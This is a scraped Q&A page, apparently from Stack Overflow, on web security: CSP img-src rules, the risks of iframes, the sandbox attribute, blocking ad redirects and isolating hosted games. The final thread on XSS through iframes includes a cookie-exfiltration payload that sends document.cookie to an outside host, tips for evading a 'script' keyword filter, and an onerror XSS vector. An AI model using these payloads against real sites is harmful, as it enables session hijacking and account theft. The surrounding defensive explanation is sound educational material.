Bypassing "img-src" csp policy - javascript

I'm trying to display an image on a third party website that uses csp policy of "img-src" to disallow every image.
i tried using "background-image" css on an img tag and even on a div tag but no luck.
is this possible at all? or should i ask the site owner to loss the restriction?

Generally, no, it is not possible to bypass a site owner's CSP. The whole point of enforcing a CSP on a website is so that the site owner can block outside interference for website's security.
Doing a quick search for "bypassing a csp" returned some results, but these samples are typically in very specific scenarios. So technically, yes, it can be possible to bypass a CSP through penetration testing and limited situations, but I wouldn't rely on these because they may be fixed in the future, and your workaround based on the vulnerability may be closed.
Your best bet is to contact the site owner and ask that they whitelist your site in their img-src directive so that it will show up correctly.

Related

What all threats imposed by an iframe? [duplicate]

Why are iframes considered dangerous and a security risk? Can someone describe an example of a case where it can be used maliciously?
The IFRAME element may be a security risk if your site is embedded inside an IFRAME on hostile site. Google "clickjacking" for more details. Note that it does not matter if you use <iframe> or not. The only real protection from this attack is to add HTTP header X-Frame-Options: DENY and hope that the browser knows its job.
If anybody claims that using an <iframe> element on your site is dangerous and causes a security risk, they do not understand what <iframe> element does, or they are speaking about possibility of <iframe> related vulnerabilities in browsers. Security of <iframe src="..."> tag is equal to <img src="..." or <a href="..."> as long there are no vulnerabilities in the browser. And if there's a suitable vulnerability, it might be possible to trigger it even without using <iframe>, <img> or <a> element, so it's not worth considering for this issue.
In addition, IFRAME element may be a security risk if any page on your site contains an XSS vulnerability which can be exploited. In that case the attacker can expand the XSS attack to any page within the same domain that can be persuaded to load within an <iframe> on the page with XSS vulnerability. This is because vulnerable content from the same origin (same domain) inside <iframe> is allowed to access the parent content DOM (practically execute JavaScript in the "host" document). The only real protection methods from this attack is to add HTTP header X-Frame-Options: DENY and/or always correctly encode all user submitted data (that is, never have an XSS vulnerability on your site - easier said than done).
However, be warned that content from <iframe> can initiate top level navigation by default. That is, content within the <iframe> is allowed to automatically open a link over current page location (the new location will be visible in the address bar). The only way to avoid that is to add sandbox attribute without value allow-top-navigation. For example, <iframe sandbox="allow-forms allow-scripts" ...>. Unfortunately, sandbox also disables all plugins, always. For example, historically Youtube couldn't be sandboxed because Flash player was still required to view all Youtube content. No browser supports using plugins and disallowing top level navigation at the same time. However, unless you have some very special reasons, you cannot trust any plugins to work at all for majority of your users in 2021, so you can just use sandbox always and guard your site against forced redirects from user generated content, too. Note that this will break poorly implemented content that tries to modify document.top.location. The content in sandboxed <iframe> can still open links in new tabs so well implemented content will work just fine. Also notice that if you use <iframe sandbox="... allow-scripts allow-same-origin ..." src="blog:..."> any XSS attack within the blob: content can be extended to host document because blob: URLs always inherit the origin of their parent document. You cannot wrap unfiltered user content in blob: and render it as an <iframe> any more than you can put that content directly on your own page.
Example attack goes like this: assume that users can insert user generated content with an iframe; an <iframe> without an attribute sandbox can be used to run JS code saying document.top.location.href = ... and force a redirect to another page. If that redirect goes to a well executed phishing site and your users do not pay attention to address bar, the attacker has a good change to get your users to leak their credentials. They cannot fake the address bar but they can force the redirect and control all content that users can see after that. Leaving allow-top-navigation out of sandbox attribute value avoids this problem. However, due historical reasons, <iframe> elements do not have this limitation by default, so you'll be more vulnerable to phishing if your users can add <iframe> element without attribute sandbox.
Note that X-Frame-Options: DENY also protects from rendering performance side-channel attack that can read content cross-origin (also known as "Pixel perfect Timing Attacks").
That's the technical side of the issue. In addition, there's the issue of user interface. If you teach your users to trust that URL bar is supposed to not change when they click links (e.g. your site uses a big iframe with all the actual content), then the users will not notice anything in the future either in case of actual security vulnerability. For example, you could have an XSS vulnerability within your site that allows the attacker to load content from hostile source within your iframe. Nobody could tell the difference because the URL bar still looks identical to previous behavior (never changes) and the content "looks" valid even though it's from hostile domain requesting user credentials.
As soon as you're displaying content from another domain, you're basically trusting that domain not to serve-up malware.
There's nothing wrong with iframes per se. If you control the content of the iframe, they're perfectly safe.
I'm assuming cross-domain iFrame since presumably the risk would be lower if you controlled it yourself.
Clickjacking is a problem if your site is included as an iframe
A compromised iFrame could display malicious content (imagine the iFrame displaying a login box instead of an ad)
An included iframe can make certain JS calls like alert and prompt which could annoy your user
An included iframe can redirect via location.href (yikes, imagine a 3p frame redirecting the customer from bankofamerica.com to bankofamerica.fake.com)
Malware inside the 3p frame (java/flash/activeX) could infect your user
IFRAMEs are okay; urban legends are not.
When you "use iframes", it doesn't just mean one thing. It's a lexical ambiguity. Depending on the use case, "using iframes" may mean one of the following situations:
Someone else displays your content in an iframe
You display domeone else's content in an iframe
You display your own content in an iframe
So which of these cases can put you in risk?
1. Someone else displays your content
This case is almost always referred to as clickjacking - mimicking your site's behaviour, trying to lure your users into using a fake UI instead of the real site. The misunderstanding here is that you using or not using iframes is irrelevant, it's simply not your call - it's someone else using iframes, which you can do nothing about. Btw, even they don't need them specifically: they can copy your site any other way, stealing your html, implementing a fake site from scratch, etc.
So, ditching iframes in attempt to prevent clickjacking - it makes exactly zero sense.
2. You display someone else's content
Of the three above, this is the only one that's somewhat risky, but most of the scary articles you read all the time come from a world before same-origin policy was introduced. Right now, it's still not recommended to include just any site into your own (who knows what it will contain tomorrow?), but if it's a trusted source (accuweather, yahoo stock info etc), you can safely do it. The big no-no here is letting users (therefore, malicious users) control the src of the iframe, telling it what to display. Don't let users load arbitrary content into your page, that's the root of all evil. But it's true with or without iframes. It has nothing to do with them; it could happen using a script or a style tag (good luck living without them) - the problem is you let them out. Any output on your site containing any user-given content is RISKY. Without sanitizing (de-HTMLifying) it, you're basically opening your site up for XSS attacks, anyone can insert a <script> tag into your content, and that is bad news. Like, baaaad news.
Never output any user input without making dead sure it's harmless.
So, while iframes are innocent again, the takeaway is: don't make them display 3rd-party content unless you trust the source. In other words, don't include untrusted content in your site. (Also, don't jump in front of fast-approaching freight trains. Duuh.)
3. You display your own content in an iframe
This one is obviously harmless. Your page is trusted, the inner content of the iframe is trusted, nothing can go wrong. Iframe is no magic trick; it's just an encapsulation technique, you absolutely have the right to show a piece of your content in a sandbox. It's much like putting it inside a div or anything else, only it will have its own document environment.
TL;DR
Case 1: doesn't matter if you use iframes or not,
Case 2: not an iframe problem,
Case 3: absolutely harmless case.
Please stop believing urban legends. The truth is, iframe-s are totally safe. You could as well blame script tags for being dangerous; anything can cause trouble when maliciously inserted in a site. But how did they insert it in the first place? There must be an existing backend vulnerability if someone was able to inject html content into a site. Blaming one piece of technology for a common attack (instead of finding the real cause) is just a synonym for keeping security holes open. Find the dragon behind the fire.
Unsanitized output is bad; iframes are not.
Stop the witch-hunt.
UPDATE:
There is an attribute called sandbox, worth checking out: https://www.w3schools.com/tags/att_sandbox.asp
UPDATE 2:
Before you comment against iframes - please think about hammers. Hammers are dangerous. They also don't look very nice, they're difficult to swim with, bad for teeth, and some guy in a movie once misused a hammer causing serious injuries. Also, just googled it and tons of literature says mortals can't even move them. If this looks like a good reason to never ever use a hammer again, iframes may not be your real enemy. Sorry for going offroad.
"Dangerous" and "Security risk" are not the first things that spring to mind when people mention iframes … but they can be used in clickjacking attacks.
iframe is also vulnerable to Cross Frame Scripting:
https://www.owasp.org/index.php/Cross_Frame_Scripting

Is is possible to style in external domain iframe in 2020?

client push me to change the CSS styles of an external site which is included in an iframe. Is it possible to do that? I found topics from 2011 with a solution, but after I tried to do that with CSS, js, jquery - I think is not possible if the site is not hosted by the same domain.
It's still not possible for security reasons. In order to allow this, you'd need control of both sites, and even then, you'd be potentially opening yourself up to allowing XSS attacks on the target site. Your best bet would see if the target site has an API that you could pull data from and display on your site with whatever styling you want. That's a separate topic altogether though.

Is there a way to prevent page redirection caused by ads?

My site is using Javascript ads code, and sometimes one of the ads redirects the page, and this is not a good practice according to Google (I got banned temporarily by Google until I solved the issue on my site).
Is there a way to prevent external Javascript redirect on the site (beside remove the ads)? Can you do this on the Apache configuration side to keep the domain in the address bar unchanged?
Working on the assumption that the adverts load external code:
Can you do this on the Apache configuration side to keep the domain in the address bar unchanged?
No. The advert isn't coming from your server. Your server can't influence it.
Is there a way to prevent external Javascript redirect on the site (beside remove the ads)?
No. The script will be loaded into the global scope and you have no opportunity to block access to things it might use to redirect.
Removing the ads is the only real option. Don't use advertising platforms that do a bad job of filtering out adverts that use such shady practises.
You can place the advertiser tag inside an iframe and add the sandbox attribute on the iframe.
In the sandbox attribute you specify which capabilities you grant the iframe.
Enter any capabilities you want but omit the allow-top-navigation navigation option and it will not allow it to navigate your site.
You can see all available attribute options here:https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
Scroll down to the sandbox explanation.
Know that if you put sandbox="" nothing will be allowed because only what you specify will be available for the iframe - and it is a problem for ads. Some advertiser might even serve ads for 100% crippled iframes.

Executing HTML5/Javascript Within An iFrame Securely

I'm looking to develop a website to host HTML5 games on. Since these games have the chance to include malicious javascript, I'd like to know how to setup a secure environment for hosting them.
It seems like embedding the game with an iframe is the answer, but I'm relatively new to website development, so some questions:
is there a simple way to host the games securely on the same domain, or...
does the game have to be hosted on a different domain, then embedded within an iframe, so that it can't interact with the parent document?
if the game is executed while hosted on another domain, can it interact with that host domain in any malicious way?
Cross-site scripting and over-scoping of cookies will be a great concern here. Utilising the browsers' Same Origin Policies will be a valuable methodology in your defence of this. ref1 ref2
Ensure your sites are served from a different domain to the contributors apps. (e.g. coolgames.com vs mycoolgames.com) - This will segregate the origin-scope of your code from theirs.
Ensure that each different contributor has their apps/games served from a unique subdomain (e.g. bob.mycoolgames.com, dave.mycoolgames.com) - This will help to segregate the origin of the different developers. Each will need to be careful to never scope cookies to .mycoolgames.com or they will overexpose themselves.
You may also wish to further protect your own app by utilising the new Content Security Policy support in modern browsers. This will additionally help to mitigate against clickjacking attacks.
Regarding iframes:
Can you explain why you think you need to use an iframe at all? What's wrong with good old fashioned links?
If the graphic design dictates that an iframe must be used, you can easily have all the embedded games iframed into a dynamic page at www.mycoolgames.com, where you will not keep any sensitive systems, data or code - keep all user authentication systems, CMS systems and data only on the applications at *.coolgames.com
First - this is a great question! I was asking myself the same question when design a hosted iframe-based solution.
Second - after a short search I've came across iframe sandbox attribute
TLDR - it enables developers to declare which security options will be applied to the iframe, letting the browser define a tailored-made restrictive scope
So.. I found a great article that gives a real world sample of this feature usage + some clear explanations (read more about this topic here). In short:
<iframe sandbox="security options goes here" src="your hosted page"></iframe>
The security options are:
allow-forms allows form submission.
allow-popups allows popups
(window.open(), showModalDialog(), target=”_blank”, etc.).
allow-pointer-lock allows (surprise!) pointer lock.
allow-same-origin
allows the document to maintain its origin; pages loaded from
https://example.com/ will retain access to that origin’s data.
allow-scripts allows JavaScript execution, and also allows features to
trigger automatically (as they’d be trivial to implement via
JavaScript).
allow-top-navigation allows the document to break out of
the frame by navigating the top-level window.
For instance:
<iframe sandbox="allow-scripts allow-popups" src="https://mywebsite.com/hosted_page"></iframe>
It is also worth mentioning that this security feature is highly supported (can I use for the rescue)
Happy reading / coding... may the security force be with you :)

cross site scripting with Iframe

I am experimenting with cross site scripting. I have a website which allows users to insert comments and view them on the website. The website filters the string "script" though from the comment but it allows iframes. I understand that I could embed an iframe that points to a website that I craft and I can run whatever script I wish. My question is: will my iframe script be able to read cookies initiated by the original website? I have tried alert(document.cookie) but it shows an alert with nothing in it. The original website always sets a cookie though when a client requests it. Any idea what I am missing?
Both the surrounding page need to come from the same domain. This is limited by the Same Origin Policy, which states that a script in one frame may only access data in another frame given they are on the same protocol, have the exact same domain name and are running on the same port. It can be slightly relaxed by setting document.domain to the top level domain in both frames, and thus allowing frames from subdomain to communicate.
You could though try to input , though that may be blocked in newer browsers.
Limiting script is however not enough to stop XSS. There are many many other ways. See http://html5sec.org and http://ha.ckers.org/xss.html
You made it sound like you are trying to use the cookie as a payload for the XSS?
Are you in fact trying to steal the cookie?
But if the site is allowing you to insert comments and only removing "script" then you have a bunch of alternatives for inserting XSS including coookie stealing script.
Try this
javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;
but you want to encode the word script so you can instead you can try
ScRiPt
or unicode 73 63 72 69 70 74
Cookies follow same origin policy. So if the attack website and the victim website(which allows iframes to open) are having the same host then the popup on running document.cookie will conatin the cookies info.
Since in your case they seem to be of diff domains cookie stealing will not be possible.
To prevent XSS better way is to use C:out tag of the core jstl library
As far as I know, an iframe cannot access to the original website if the domain of iframe and the domain of original website are different, but there are other problems. (ex. cracker commenting <img src="asdf" onerror="alert(document.cookie)"/>)
You may want to use somethings like HTML Purifier....

Categories